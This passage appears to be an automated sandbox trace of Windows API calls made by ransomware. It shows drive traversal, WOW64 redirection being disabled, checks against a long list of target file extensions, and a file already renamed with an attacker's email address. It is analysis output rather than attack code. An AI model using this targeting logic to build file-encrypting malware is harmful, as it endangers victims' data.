hHeap=0x670000) returned 1 [0282.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6c5100 | out: hHeap=0x670000) returned 1 [0282.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x4113a10 [0282.381] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4113a10, Size=0x20) returned 0x41aadf8 [0282.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x4113b30 [0282.381] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4113b30, Size=0x20) returned 0x41aab78 [0282.381] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.381] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.381] Wow64DisableWow64FsRedirection (in: OldValue=0x2d4ff50 | out: OldValue=0x2d4ff50*=0x1) returned 1 [0282.381] lstrlenW (lpString="kernel32.dll") returned 12 [0282.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41aab78 | out: hHeap=0x670000) returned 1 [0282.382] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41aadf8 | out: hHeap=0x670000) returned 1 Thread: id = 40 os_tid = 0xdd8 [0219.751] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x73fe40 [0219.752] lstrlenW (lpString="C:") returned 2 [0219.752] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2e8fcf8 | out: lpFindFileData=0x2e8fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76e90000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x6d0088 [0219.752] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0219.752] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0219.753] lstrlenW (lpString="$GetCurrent") returned 11 [0219.753] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0219.753] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x74fe48 [0219.753] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0219.753] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x6d00c8 [0219.756] FindNextFileW (in: hFindFile=0x6d00c8, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0219.756] FindNextFileW (in: hFindFile=0x6d00c8, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0219.756] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0219.756] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0219.756] lstrlenW (lpString="Logs") returned 4 [0219.756] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0219.756] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x3230048 [0219.757] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0219.757] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe636, dwReserved1=0x232, cFileName=".", cAlternateFileName="")) returned 0x6d0408 [0219.762] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe636, dwReserved1=0x232, cFileName="..", cAlternateFileName="")) returned 1 [0219.763] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3fafc2f, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa3fafc2f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa3fd5d27, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0xffffe636, dwReserved1=0x232, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="DOWNLE~1.LOV")) returned 1 [0219.763] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[im.online@aol.com].love$") returned 75 [0219.763] lstrlenW (lpString=".1cd") returned 4 [0219.763] lstrcmpiW (lpString1=".1cd", lpString2="ove$") returned -1 [0219.763] lstrlenW (lpString=".3ds") returned 4 [0219.763] lstrcmpiW (lpString1=".3ds", lpString2="ove$") returned -1 [0219.763] lstrlenW (lpString=".3fr") returned 4 [0219.763] lstrcmpiW (lpString1=".3fr", lpString2="ove$") returned -1 [0219.763] lstrlenW (lpString=".3g2") returned 4 [0219.763] lstrcmpiW (lpString1=".3g2", lpString2="ove$") returned -1 [0219.763] lstrlenW (lpString=".3gp") returned 4 [0219.763] lstrcmpiW (lpString1=".3gp", lpString2="ove$") returned -1 [0219.763] lstrlenW (lpString=".7z") returned 3 [0219.763] lstrcmpiW (lpString1=".7z", lpString2="ve$") returned -1 [0219.763] lstrlenW (lpString=".accda") returned 6 [0219.763] lstrcmpiW (lpString1=".accda", lpString2=".love$") returned -1 [0219.763] lstrlenW (lpString=".accdb") returned 6 [0219.764] lstrcmpiW (lpString1=".accdb", lpString2=".love$") returned -1 [0219.764] lstrlenW (lpString=".accdc") returned 6 [0219.764] lstrcmpiW (lpString1=".accdc", lpString2=".love$") returned -1 [0219.764] lstrlenW (lpString=".accde") returned 6 [0219.764] lstrcmpiW (lpString1=".accde", lpString2=".love$") returned -1 [0219.764] lstrlenW (lpString=".accdt") returned 6 [0219.764] lstrcmpiW (lpString1=".accdt", lpString2=".love$") returned -1 [0219.764] lstrlenW (lpString=".accdw") returned 6 [0219.764] lstrcmpiW (lpString1=".accdw", lpString2=".love$") returned -1 [0219.764] lstrlenW (lpString=".adb") returned 4 [0219.764] lstrcmpiW (lpString1=".adb", lpString2="ove$") returned -1 [0219.764] lstrlenW (lpString=".adp") returned 4 [0219.764] lstrcmpiW (lpString1=".adp", lpString2="ove$") returned -1 [0219.764] lstrlenW (lpString=".ai") returned 3 [0219.764] lstrcmpiW (lpString1=".ai", lpString2="ve$") returned -1 [0219.764] lstrlenW (lpString=".ai3") returned 4 [0219.764] lstrcmpiW (lpString1=".ai3", lpString2="ove$") returned -1 [0219.764] lstrlenW (lpString=".ai4") returned 4 [0219.765] lstrcmpiW (lpString1=".ai4", lpString2="ove$") returned -1 [0219.765] lstrlenW (lpString=".ai5") returned 4 [0219.765] lstrcmpiW (lpString1=".ai5", lpString2="ove$") returned -1 [0219.765] lstrlenW (lpString=".ai6") returned 4 [0219.765] lstrcmpiW (lpString1=".ai6", lpString2="ove$") returned -1 [0219.765] lstrlenW (lpString=".ai7") returned 4 [0219.765] lstrcmpiW (lpString1=".ai7", lpString2="ove$") returned -1 [0219.765] lstrlenW (lpString=".ai8") returned 4 [0219.765] lstrcmpiW (lpString1=".ai8", lpString2="ove$") returned -1 [0219.765] lstrlenW (lpString=".anim") returned 5 [0219.765] lstrcmpiW (lpString1=".anim", lpString2="love$") returned -1 [0219.765] lstrlenW (lpString=".arw") returned 4 [0219.765] lstrcmpiW (lpString1=".arw", lpString2="ove$") returned -1 [0219.765] lstrlenW (lpString=".as") returned 3 [0219.765] lstrcmpiW (lpString1=".as", lpString2="ve$") returned -1 [0219.765] lstrlenW (lpString=".asa") returned 4 [0219.765] lstrcmpiW (lpString1=".asa", lpString2="ove$") returned -1 [0219.765] lstrlenW (lpString=".asc") returned 4 [0219.765] lstrcmpiW (lpString1=".asc", lpString2="ove$") returned -1 [0219.766] lstrlenW (lpString=".ascx") returned 5 [0219.766] lstrcmpiW (lpString1=".ascx", lpString2="love$") returned -1 [0219.766] lstrlenW (lpString=".asm") returned 4 [0219.766] lstrcmpiW (lpString1=".asm", lpString2="ove$") returned -1 [0219.766] lstrlenW (lpString=".asmx") returned 5 [0219.766] lstrcmpiW (lpString1=".asmx", lpString2="love$") returned -1 [0219.766] lstrlenW (lpString=".asp") returned 4 [0219.766] lstrcmpiW (lpString1=".asp", lpString2="ove$") returned -1 [0219.766] lstrlenW (lpString=".aspx") returned 5 [0219.766] lstrcmpiW (lpString1=".aspx", lpString2="love$") returned -1 [0219.766] lstrlenW (lpString=".asr") returned 4 [0219.766] lstrcmpiW (lpString1=".asr", lpString2="ove$") returned -1 [0219.766] lstrlenW (lpString=".asx") returned 4 [0219.766] lstrcmpiW (lpString1=".asx", lpString2="ove$") returned -1 [0219.766] lstrlenW (lpString=".avi") returned 4 [0219.766] lstrcmpiW (lpString1=".avi", lpString2="ove$") returned -1 [0219.766] lstrlenW (lpString=".avs") returned 4 [0219.766] lstrcmpiW (lpString1=".avs", lpString2="ove$") returned -1 [0219.766] lstrlenW (lpString=".backup") returned 7 [0219.767] lstrcmpiW (lpString1=".backup", lpString2="].love$") returned -1 [0219.767] lstrlenW (lpString=".bak") returned 4 [0219.767] lstrcmpiW (lpString1=".bak", lpString2="ove$") returned -1 [0219.767] lstrlenW (lpString=".bay") returned 4 [0219.767] lstrcmpiW (lpString1=".bay", lpString2="ove$") returned -1 [0219.767] lstrlenW (lpString=".bd") returned 3 [0219.767] lstrcmpiW (lpString1=".bd", lpString2="ve$") returned -1 [0219.767] lstrlenW (lpString=".bin") returned 4 [0219.767] lstrcmpiW (lpString1=".bin", lpString2="ove$") returned -1 [0219.767] lstrlenW (lpString=".bmp") returned 4 [0219.767] lstrcmpiW (lpString1=".bmp", lpString2="ove$") returned -1 [0219.767] lstrlenW (lpString=".bz2") returned 4 [0219.767] lstrcmpiW (lpString1=".bz2", lpString2="ove$") returned -1 [0219.767] lstrlenW (lpString=".c") returned 2 [0219.767] lstrcmpiW (lpString1=".c", lpString2="e$") returned -1 [0219.767] lstrlenW (lpString=".cdr") returned 4 [0219.767] lstrcmpiW (lpString1=".cdr", lpString2="ove$") returned -1 [0219.767] lstrlenW (lpString=".cer") returned 4 [0219.767] lstrcmpiW (lpString1=".cer", lpString2="ove$") returned -1 [0219.768] lstrlenW (lpString=".cf") returned 3 [0219.768] lstrcmpiW (lpString1=".cf", lpString2="ve$") returned -1 [0219.768] lstrlenW (lpString=".cfc") returned 4 [0219.768] lstrcmpiW (lpString1=".cfc", lpString2="ove$") returned -1 [0219.768] lstrlenW (lpString=".cfm") returned 4 [0219.768] lstrcmpiW (lpString1=".cfm", lpString2="ove$") returned -1 [0219.768] lstrlenW (lpString=".cfml") returned 5 [0219.768] lstrcmpiW (lpString1=".cfml", lpString2="love$") returned -1 [0219.768] lstrlenW (lpString=".cfu") returned 4 [0219.768] lstrcmpiW (lpString1=".cfu", lpString2="ove$") returned -1 [0219.768] lstrlenW (lpString=".chm") returned 4 [0219.768] lstrcmpiW (lpString1=".chm", lpString2="ove$") returned -1 [0219.768] lstrlenW (lpString=".cin") returned 4 [0219.768] lstrcmpiW (lpString1=".cin", lpString2="ove$") returned -1 [0219.768] lstrlenW (lpString=".class") returned 6 [0219.768] lstrcmpiW (lpString1=".class", lpString2=".love$") returned -1 [0219.768] lstrlenW (lpString=".clx") returned 4 [0219.768] lstrcmpiW (lpString1=".clx", lpString2="ove$") returned -1 [0219.768] lstrlenW (lpString=".config") returned 7 [0219.769] lstrcmpiW (lpString1=".config", lpString2="].love$") returned -1 [0219.769] lstrlenW (lpString=".cpp") returned 4 [0219.769] lstrcmpiW (lpString1=".cpp", lpString2="ove$") returned -1 [0219.769] lstrlenW (lpString=".cr2") returned 4 [0219.769] lstrcmpiW (lpString1=".cr2", lpString2="ove$") returned -1 [0219.769] lstrlenW (lpString=".crt") returned 4 [0219.769] lstrcmpiW (lpString1=".crt", lpString2="ove$") returned -1 [0219.769] lstrlenW (lpString=".crw") returned 4 [0219.769] lstrcmpiW (lpString1=".crw", lpString2="ove$") returned -1 [0219.769] lstrlenW (lpString=".cs") returned 3 [0219.769] lstrcmpiW (lpString1=".cs", lpString2="ve$") returned -1 [0219.769] lstrlenW (lpString=".css") returned 4 [0219.769] lstrcmpiW (lpString1=".css", lpString2="ove$") returned -1 [0219.769] lstrlenW (lpString=".csv") returned 4 [0219.769] lstrcmpiW (lpString1=".csv", lpString2="ove$") returned -1 [0219.769] lstrlenW (lpString=".cub") returned 4 [0219.769] lstrcmpiW (lpString1=".cub", lpString2="ove$") returned -1 [0219.769] lstrlenW (lpString=".dae") returned 4 [0219.769] lstrcmpiW (lpString1=".dae", lpString2="ove$") returned -1 [0219.770] lstrlenW (lpString=".dat") returned 4 [0219.770] lstrcmpiW (lpString1=".dat", lpString2="ove$") returned -1 [0219.770] lstrlenW (lpString=".db") returned 3 [0219.770] lstrcmpiW (lpString1=".db", lpString2="ve$") returned -1 [0219.770] lstrlenW (lpString=".dbf") returned 4 [0219.770] lstrcmpiW (lpString1=".dbf", lpString2="ove$") returned -1 [0219.770] lstrlenW (lpString=".dbx") returned 4 [0219.770] lstrcmpiW (lpString1=".dbx", lpString2="ove$") returned -1 [0219.770] lstrlenW (lpString=".dc3") returned 4 [0219.770] lstrcmpiW (lpString1=".dc3", lpString2="ove$") returned -1 [0219.770] lstrlenW (lpString=".dcm") returned 4 [0219.770] lstrcmpiW (lpString1=".dcm", lpString2="ove$") returned -1 [0219.770] lstrlenW (lpString=".dcr") returned 4 [0219.770] lstrcmpiW (lpString1=".dcr", lpString2="ove$") returned -1 [0219.770] lstrlenW (lpString=".der") returned 4 [0219.770] lstrcmpiW (lpString1=".der", lpString2="ove$") returned -1 [0219.770] lstrlenW (lpString=".dib") returned 4 [0219.770] lstrcmpiW (lpString1=".dib", lpString2="ove$") returned -1 [0219.770] lstrlenW (lpString=".dic") returned 4 [0219.771] lstrcmpiW (lpString1=".dic", lpString2="ove$") returned -1 [0219.771] lstrlenW (lpString=".dif") returned 4 [0219.771] lstrcmpiW (lpString1=".dif", lpString2="ove$") returned -1 [0219.771] lstrlenW (lpString=".divx") returned 5 [0219.771] lstrcmpiW (lpString1=".divx", lpString2="love$") returned -1 [0219.771] lstrlenW (lpString=".djvu") returned 5 [0219.771] lstrcmpiW (lpString1=".djvu", lpString2="love$") returned -1 [0219.771] lstrlenW (lpString=".dng") returned 4 [0219.771] lstrcmpiW (lpString1=".dng", lpString2="ove$") returned -1 [0219.771] lstrlenW (lpString=".doc") returned 4 [0219.771] lstrcmpiW (lpString1=".doc", lpString2="ove$") returned -1 [0219.771] lstrlenW (lpString=".docm") returned 5 [0219.771] lstrcmpiW (lpString1=".docm", lpString2="love$") returned -1 [0219.771] lstrlenW (lpString=".docx") returned 5 [0219.771] lstrcmpiW (lpString1=".docx", lpString2="love$") returned -1 [0219.771] lstrlenW (lpString=".dot") returned 4 [0219.771] lstrcmpiW (lpString1=".dot", lpString2="ove$") returned -1 [0219.771] lstrlenW (lpString=".dotm") returned 5 [0219.771] lstrcmpiW (lpString1=".dotm", lpString2="love$") returned -1 [0219.771] lstrlenW (lpString=".dotx") returned 5 [0219.771] lstrcmpiW (lpString1=".dotx", lpString2="love$") returned -1 [0219.771] lstrlenW (lpString=".dpx") returned 4 [0219.771] lstrcmpiW (lpString1=".dpx", lpString2="ove$") returned -1 [0219.771] lstrlenW (lpString=".dqy") returned 4 [0219.771] lstrcmpiW (lpString1=".dqy", lpString2="ove$") returned -1 [0219.771] lstrlenW (lpString=".dsn") returned 4 [0219.771] lstrcmpiW (lpString1=".dsn", lpString2="ove$") returned -1 [0219.771] lstrlenW (lpString=".dt") returned 3 [0219.772] lstrcmpiW (lpString1=".dt", lpString2="ve$") returned -1 [0219.772] lstrlenW (lpString=".dtd") returned 4 [0219.772] lstrcmpiW (lpString1=".dtd", lpString2="ove$") returned -1 [0219.772] lstrlenW (lpString=".dwg") returned 4 [0219.772] lstrcmpiW (lpString1=".dwg", lpString2="ove$") returned -1 [0219.772] lstrlenW (lpString=".dwt") returned 4 [0219.772] lstrcmpiW (lpString1=".dwt", lpString2="ove$") returned -1 [0219.772] lstrlenW (lpString=".dx") returned 3 [0219.772] lstrcmpiW (lpString1=".dx", lpString2="ve$") returned -1 [0219.772] lstrlenW (lpString=".dxf") returned 4 [0219.772] lstrcmpiW (lpString1=".dxf", lpString2="ove$") returned -1 [0219.772] lstrlenW (lpString=".edml") returned 5 [0219.772] lstrcmpiW (lpString1=".edml", lpString2="love$") returned -1 [0219.772] lstrlenW (lpString=".efd") returned 4 [0219.772] lstrcmpiW (lpString1=".efd", lpString2="ove$") returned -1 [0219.772] lstrlenW (lpString=".elf") returned 4 [0219.772] lstrcmpiW (lpString1=".elf", lpString2="ove$") returned -1 [0219.772] lstrlenW (lpString=".emf") returned 4 [0219.772] lstrcmpiW (lpString1=".emf", lpString2="ove$") returned -1 [0219.772] lstrlenW (lpString=".emz") returned 4 [0219.772] lstrcmpiW (lpString1=".emz", lpString2="ove$") returned -1 [0219.772] lstrlenW (lpString=".epf") returned 4 [0219.772] lstrcmpiW (lpString1=".epf", lpString2="ove$") returned -1 [0219.772] lstrlenW (lpString=".eps") returned 4 [0219.772] lstrcmpiW (lpString1=".eps", lpString2="ove$") returned -1 [0219.772] lstrlenW (lpString=".epsf") returned 5 [0219.772] lstrcmpiW (lpString1=".epsf", lpString2="love$") returned -1 [0219.772] lstrlenW (lpString=".epsp") returned 5 [0219.772] lstrcmpiW (lpString1=".epsp", lpString2="love$") returned -1 [0219.772] lstrlenW (lpString=".erf") returned 4 [0219.772] lstrcmpiW (lpString1=".erf", lpString2="ove$") returned -1 [0219.772] lstrlenW (lpString=".exr") returned 4 [0219.772] lstrcmpiW (lpString1=".exr", lpString2="ove$") returned -1 [0219.772] lstrlenW (lpString=".f4v") returned 4 [0219.772] lstrcmpiW (lpString1=".f4v", lpString2="ove$") returned -1 [0219.773] lstrlenW (lpString=".fido") returned 5 [0219.773] lstrcmpiW (lpString1=".fido", lpString2="love$") returned -1 [0219.773] lstrlenW (lpString=".flm") returned 4 [0219.773] lstrcmpiW (lpString1=".flm", lpString2="ove$") returned -1 [0219.773] lstrlenW (lpString=".flv") returned 4 [0219.773] lstrcmpiW (lpString1=".flv", lpString2="ove$") returned -1 [0219.773] lstrlenW (lpString=".frm") returned 4 [0219.773] lstrcmpiW (lpString1=".frm", lpString2="ove$") returned -1 [0219.773] lstrlenW (lpString=".fxg") returned 4 [0219.773] lstrcmpiW (lpString1=".fxg", lpString2="ove$") returned -1 [0219.773] lstrlenW (lpString=".geo") returned 4 [0219.773] lstrcmpiW (lpString1=".geo", lpString2="ove$") returned -1 [0219.773] lstrlenW (lpString=".gif") returned 4 [0219.773] lstrcmpiW (lpString1=".gif", lpString2="ove$") returned -1 [0219.773] lstrlenW (lpString=".grs") returned 4 [0219.773] lstrcmpiW (lpString1=".grs", lpString2="ove$") returned -1 [0219.773] lstrlenW (lpString=".gz") returned 3 [0219.773] lstrcmpiW (lpString1=".gz", lpString2="ve$") returned -1 [0219.773] lstrlenW (lpString=".h") returned 2 [0219.773] lstrcmpiW (lpString1=".h", lpString2="e$") returned -1 [0219.773] lstrlenW (lpString=".hdr") returned 4 [0219.773] lstrcmpiW (lpString1=".hdr", lpString2="ove$") returned -1 [0219.773] lstrlenW (lpString=".hpp") returned 4 [0219.773] lstrcmpiW (lpString1=".hpp", lpString2="ove$") returned -1 [0219.773] lstrlenW (lpString=".hta") returned 4 [0219.773] lstrcmpiW (lpString1=".hta", lpString2="ove$") returned -1 [0219.773] lstrlenW (lpString=".htc") returned 4 [0219.773] lstrcmpiW (lpString1=".htc", lpString2="ove$") returned -1 [0219.773] lstrlenW (lpString=".htm") returned 4 [0219.773] lstrcmpiW (lpString1=".htm", lpString2="ove$") returned -1 [0219.773] lstrlenW (lpString=".html") returned 5 [0219.773] lstrcmpiW (lpString1=".html", lpString2="love$") returned -1 [0219.773] lstrlenW (lpString=".icb") returned 4 [0219.773] lstrcmpiW (lpString1=".icb", lpString2="ove$") returned -1 [0219.773] lstrlenW (lpString=".ics") returned 4 [0219.773] lstrcmpiW (lpString1=".ics", lpString2="ove$") returned -1 [0219.774] lstrlenW (lpString=".iff") returned 4 [0219.774] lstrcmpiW (lpString1=".iff", lpString2="ove$") returned -1 [0219.774] lstrlenW (lpString=".inc") returned 4 [0219.774] lstrcmpiW (lpString1=".inc", lpString2="ove$") returned -1 [0219.774] lstrlenW (lpString=".indd") returned 5 [0219.774] lstrcmpiW (lpString1=".indd", lpString2="love$") returned -1 [0219.774] lstrlenW (lpString=".ini") returned 4 [0219.774] lstrcmpiW (lpString1=".ini", lpString2="ove$") returned -1 [0219.774] lstrlenW (lpString=".iqy") returned 4 [0219.774] lstrcmpiW (lpString1=".iqy", lpString2="ove$") returned -1 [0219.774] lstrlenW (lpString=".j2c") returned 4 [0219.774] lstrcmpiW (lpString1=".j2c", lpString2="ove$") returned -1 [0219.774] lstrlenW (lpString=".j2k") returned 4 [0219.774] lstrcmpiW (lpString1=".j2k", lpString2="ove$") returned -1 [0219.774] lstrlenW (lpString=".java") returned 5 [0219.774] lstrcmpiW (lpString1=".java", lpString2="love$") returned -1 [0219.774] lstrlenW (lpString=".jp2") returned 4 [0219.774] lstrcmpiW (lpString1=".jp2", lpString2="ove$") returned -1 [0219.774] lstrlenW (lpString=".jpc") returned 4 [0219.774] lstrcmpiW (lpString1=".jpc", lpString2="ove$") returned -1 [0219.774] lstrlenW (lpString=".jpe") returned 4 [0219.774] lstrcmpiW (lpString1=".jpe", lpString2="ove$") returned -1 [0219.774] lstrlenW (lpString=".jpeg") returned 5 [0219.774] lstrcmpiW (lpString1=".jpeg", lpString2="love$") returned -1 [0219.774] lstrlenW (lpString=".jpf") returned 4 [0219.774] lstrcmpiW (lpString1=".jpf", lpString2="ove$") returned -1 [0219.774] lstrlenW (lpString=".jpg") returned 4 [0219.774] lstrcmpiW (lpString1=".jpg", lpString2="ove$") returned -1 [0219.774] lstrlenW (lpString=".jpx") returned 4 [0219.774] lstrcmpiW (lpString1=".jpx", lpString2="ove$") returned -1 [0219.774] lstrlenW (lpString=".js") returned 3 [0219.774] lstrcmpiW (lpString1=".js", lpString2="ve$") returned -1 [0219.775] lstrlenW (lpString=".jsf") returned 4 [0219.775] lstrcmpiW (lpString1=".jsf", lpString2="ove$") returned -1 [0219.775] lstrlenW (lpString=".json") returned 5 [0219.775] lstrcmpiW (lpString1=".json", lpString2="love$") returned -1 [0219.775] lstrlenW (lpString=".jsp") returned 4 [0219.775] lstrcmpiW (lpString1=".jsp", lpString2="ove$") returned -1 [0219.775] lstrlenW (lpString=".kdc") returned 4 [0219.775] lstrcmpiW (lpString1=".kdc", lpString2="ove$") returned -1 [0219.775] lstrlenW (lpString=".kmz") returned 4 [0219.775] lstrcmpiW (lpString1=".kmz", lpString2="ove$") returned -1 [0219.775] lstrlenW (lpString=".kwm") returned 4 [0219.775] lstrcmpiW (lpString1=".kwm", lpString2="ove$") returned -1 [0219.775] lstrlenW (lpString=".lasso") returned 6 [0219.775] lstrcmpiW (lpString1=".lasso", lpString2=".love$") returned -1 [0219.775] lstrlenW (lpString=".lbi") returned 4 [0219.775] lstrcmpiW (lpString1=".lbi", lpString2="ove$") returned -1 [0219.775] lstrlenW (lpString=".lgf") returned 4 [0219.775] lstrcmpiW (lpString1=".lgf", lpString2="ove$") returned -1 [0219.775] lstrlenW (lpString=".lgp") returned 4 [0219.775] lstrcmpiW (lpString1=".lgp", lpString2="ove$") returned -1 [0219.775] lstrlenW (lpString=".log") returned 4 [0219.775] lstrcmpiW (lpString1=".log", lpString2="ove$") returned -1 [0219.775] lstrlenW (lpString=".m1v") returned 4 [0219.775] lstrcmpiW (lpString1=".m1v", lpString2="ove$") returned -1 [0219.775] lstrlenW (lpString=".m4a") returned 4 [0219.775] lstrcmpiW (lpString1=".m4a", lpString2="ove$") returned -1 [0219.775] lstrlenW (lpString=".m4v") returned 4 [0219.775] lstrcmpiW (lpString1=".m4v", lpString2="ove$") returned -1 [0219.776] lstrlenW (lpString=".max") returned 4 [0219.776] lstrcmpiW (lpString1=".max", lpString2="ove$") returned -1 [0219.776] lstrlenW (lpString=".md") returned 3 [0219.776] lstrcmpiW (lpString1=".md", lpString2="ve$") returned -1 [0219.776] lstrlenW (lpString=".mda") returned 4 [0219.776] lstrcmpiW (lpString1=".mda", lpString2="ove$") returned -1 [0219.776] lstrlenW (lpString=".mdb") returned 4 [0219.776] lstrcmpiW (lpString1=".mdb", lpString2="ove$") returned -1 [0219.776] lstrlenW (lpString=".mde") returned 4 [0219.776] lstrcmpiW (lpString1=".mde", lpString2="ove$") returned -1 [0219.776] lstrlenW (lpString=".mdf") returned 4 [0219.776] lstrcmpiW (lpString1=".mdf", lpString2="ove$") returned -1 [0219.776] lstrlenW (lpString=".mdw") returned 4 [0219.776] lstrcmpiW (lpString1=".mdw", lpString2="ove$") returned -1 [0219.776] lstrlenW (lpString=".mef") returned 4 [0219.776] lstrcmpiW (lpString1=".mef", lpString2="ove$") returned -1 [0219.776] lstrlenW (lpString=".mft") returned 4 [0219.776] lstrcmpiW (lpString1=".mft", lpString2="ove$") returned -1 [0219.776] lstrlenW (lpString=".mfw") returned 4 [0219.776] lstrcmpiW (lpString1=".mfw", lpString2="ove$") returned -1 [0219.776] lstrlenW (lpString=".mht") returned 4 [0219.776] lstrcmpiW (lpString1=".mht", lpString2="ove$") returned -1 [0219.776] lstrlenW (lpString=".mhtml") returned 6 [0219.776] lstrcmpiW (lpString1=".mhtml", lpString2=".love$") returned 1 [0219.776] lstrlenW (lpString=".mka") returned 4 [0219.776] lstrcmpiW (lpString1=".mka", lpString2="ove$") returned -1 [0219.776] lstrlenW (lpString=".mkidx") returned 6 [0219.776] lstrcmpiW (lpString1=".mkidx", lpString2=".love$") returned 1 [0219.776] lstrlenW (lpString=".mkv") returned 4 [0219.776] lstrcmpiW (lpString1=".mkv", lpString2="ove$") returned -1 [0219.776] lstrlenW (lpString=".mos") returned 4 [0219.776] lstrcmpiW (lpString1=".mos", lpString2="ove$") returned -1 [0219.777] lstrlenW (lpString=".mov") returned 4 [0219.777] lstrcmpiW (lpString1=".mov", lpString2="ove$") returned -1 [0219.777] lstrlenW (lpString=".mp3") returned 4 [0219.777] lstrcmpiW (lpString1=".mp3", lpString2="ove$") returned -1 [0219.777] lstrlenW (lpString=".mp4") returned 4 [0219.777] lstrcmpiW (lpString1=".mp4", lpString2="ove$") returned -1 [0219.777] lstrlenW (lpString=".mpeg") returned 5 [0219.777] lstrcmpiW (lpString1=".mpeg", lpString2="love$") returned -1 [0219.777] lstrlenW (lpString=".mpg") returned 4 [0219.777] lstrcmpiW (lpString1=".mpg", lpString2="ove$") returned -1 [0219.777] lstrlenW (lpString=".mpv") returned 4 [0219.777] lstrcmpiW (lpString1=".mpv", lpString2="ove$") returned -1 [0219.777] 